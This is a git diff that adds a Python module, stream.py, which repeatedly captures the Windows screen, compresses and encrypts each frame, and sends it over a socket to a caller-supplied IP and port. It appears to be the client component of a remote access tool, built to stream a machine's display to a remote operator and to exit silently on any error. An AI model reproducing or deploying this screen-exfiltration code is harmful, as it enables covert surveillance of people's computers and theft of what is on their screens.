summaryrefslogtreecommitdiff
path: root/Modules/Clients/stream.py
diff options
context:
space:
mode:
Diffstat (limited to 'Modules/Clients/stream.py')
-rw-r--r--Modules/Clients/stream.py57
1 files changed, 57 insertions, 0 deletions
diff --git a/Modules/Clients/stream.py b/Modules/Clients/stream.py
new file mode 100644
index 0000000..2b06a78
--- /dev/null
+++ b/Modules/Clients/stream.py
@@ -0,0 +1,57 @@
+import socket
+import pickle
+import zlib
+import time
+import cv2
+
+from Specific.encrypt import Encryption
+from Specific.grabber import Grabber
+from ctypes import windll
+from sys import exit
+
+user32 = windll.user32
+user32.SetProcessDPIAware()
+
+
+def Stream(ip, port, encoding):
+ try:
+ headersize = 10
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+
+ e = Encryption()
+ g = Grabber()
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.connect((ip, port))
+
+ while True:
+ try:
+ last_time = time.time()
+ recv_msg = s.recv(1024)
+
+ if new_msg:
+ msg_len = int(recv_msg[:headersize])
+ new_msg = False
+
+ full_msg += recv_msg
+
+ if len(full_msg)-headersize == msg_len:
+ frame = g.grab()
+ cv2.putText(frame, f'FPS: {1.0 / (time.time() - last_time):f}', (10, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (255, 255, 255), 2)
+
+ frame = pickle.dumps(frame)
+ frame = zlib.compress(frame, 1)
+ frame = e.do_encrypt(frame)
+
+ final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame
+ s.send(final_msg)
+
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ except:
+ cv2.destroyAllWindows()
+ exit(0)
+ except:
+ exit(0) \ No newline at end of file